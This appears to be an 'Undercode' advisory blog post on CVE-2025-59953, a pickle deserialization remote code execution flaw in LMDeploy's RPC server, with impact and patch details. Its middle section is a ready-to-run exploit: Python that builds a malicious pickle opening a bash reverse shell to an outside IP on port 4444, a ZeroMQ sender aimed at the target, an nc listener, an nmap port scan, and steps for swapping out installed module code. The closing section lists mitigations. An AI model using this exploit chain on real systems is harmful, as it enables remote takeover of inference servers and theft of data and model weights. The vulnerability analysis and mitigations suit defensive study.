Listen to this Post
CVE-2025-59953 is a critical insecure deserialization vulnerability (CWE-502) affecting LMDeploy, a toolkit for compressing, deploying, and serving large language models developed by InternLM. The vulnerability carries a CVSS score of 9.8 and affects all versions from 0.9.1 up to, but not including, 0.10.2.
The flaw resides within the `AsyncRPCServer` class implemented in zmq_rpc.py, which facilitates inter-process communication for model inference requests across distributed AI deployment architectures. Within the core `call_and_response()` method, the server directly invokes Python’s `pickle.loads()` function on incoming RPC messages without performing any sanitization, validation, or authentication checks.
The Python `pickle` module is inherently insecure for handling untrusted input because its deserialization operation can execute arbitrary code during the object reconstruction process. When an attacker crafts a malicious pickle payload containing exploit code — such as shell commands or reverse shell triggers — and transmits it to the vulnerable RPC endpoint, the server will automatically execute the embedded code upon deserialization.
The attack vector is remote over the network, requiring no authentication or local access. Before version 0.10.2, `AsyncRPCServer` bound to tcp://, allowing any network peer that could reach the randomly selected RPC port to submit a malicious pickle payload. Although the RPC server’s port is randomized, an attacker can scan ports to discover and exploit the exposed service.
Successful exploitation grants the attacker arbitrary code execution on the victim’s machine, enabling full command and control over the inference server. This can lead to data exfiltration of sensitive training data or proprietary model weights, denial of service, or lateral movement within the internal network. The vulnerability was patched in version 0.10.2, which changed the RPC server binding to localhost, removing the remote network attack surface. However, the underlying use of insecure pickle deserialization remains, requiring local security isolation.
DailyCVE Form
Platform: LMDeploy
Version: 0.9.1–0.10.1
Vulnerability: Pickle RCE
Severity: Critical
Date: 2026-09-16
Prediction: 2026-10-15
What Undercode Say
Analytics
Generate malicious pickle payload:
import pickle import os class Exploit(object): def <strong>reduce</strong>(self): cmd = 'bash -c "bash -i >& /dev/tcp/202.112.47.27/4444 0>&1"' return (os.system, (cmd,)) payload = pickle.dumps(Exploit())
Send malicious payload to vulnerable RPC server:
import zmq
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://TARGET_IP:RPC_PORT")
malicious_data = pickle.dumps(Exploit())
socket.send(malicious_data)
response = socket.recv()
print(response)
Set up reverse shell listener on attacker machine:
nc -l 4444
Port scanning to locate randomized RPC port:
nmap -p 1-65535 -sV TARGET_IP
Exploit: (Educational Purposes!)
Step 1: The victim user starts an RPC server that connects to its network interface.
Step 2: The attacker modifies `AsyncRPCClient` and sends a request containing malicious pickle dump data to let the victim execute the command bash -c 'bash -i >& /dev/tcp/202.112.47.27/4444 0>&1', where `202.112.47.27` is the attacker’s server. The client code originally only connects to localhost, but an attacker can easily change localhost to another IP to perform remote exploitation because the RPC server does not validate the connecting IP.
Step 3: The attacker uses `nc -l 4444` to create a reverse shell listener and waits for connection. Then, the attacker runs the client to send the malicious request. Due to the pickle deserialization vulnerability, the victim RPC server executes the malicious command and consequently gives the attacker a command shell of the victim machine.
Alternative exploitation via `AsyncRPCClient` replacement:
Replace zmq_rpc.py in pip site-packages
cp malicious_zmq_rpc.py $(python -c "import zmq_rpc; print(zmq_rpc.<strong>file</strong>)")
Run the exploit client
python poc.py {port}
Protection
1. Upgrade LMDeploy:
pip install --upgrade lmdeploy>=0.10.2
Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface.
2. Sanitize data before pickle.loads:
Rewrite `Unpickler.find_class` to set a whitelist, or use more secure deserialization methods such as `safetensor` or `msgpack` to replace the insecure pickle.loads.
3. Enable authentication in RPC services:
Ensure that only authenticated and trusted users are permitted to join the same cluster.
4. Firewall rules:
Restrict access to the RPC port so that only trusted internal services can communicate with it.
iptables -A INPUT -p tcp --dport RPC_PORT -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport RPC_PORT -j DROP
5. Run with minimal privileges:
Run the LMDeploy service under a restricted user account with minimal privileges to limit the potential damage of an exploitation attempt.
6. Network segmentation:
Implement micro-segmentation rules on model server host nodes and use local container network namespaces without host networking.
Impact
Remote code execution in the victim’s machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service. If the LMDeploy service is running with elevated privileges, the impact includes total control over the host machine, potential lateral movement within the network, and data exfiltration of sensitive training data or proprietary model weights.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

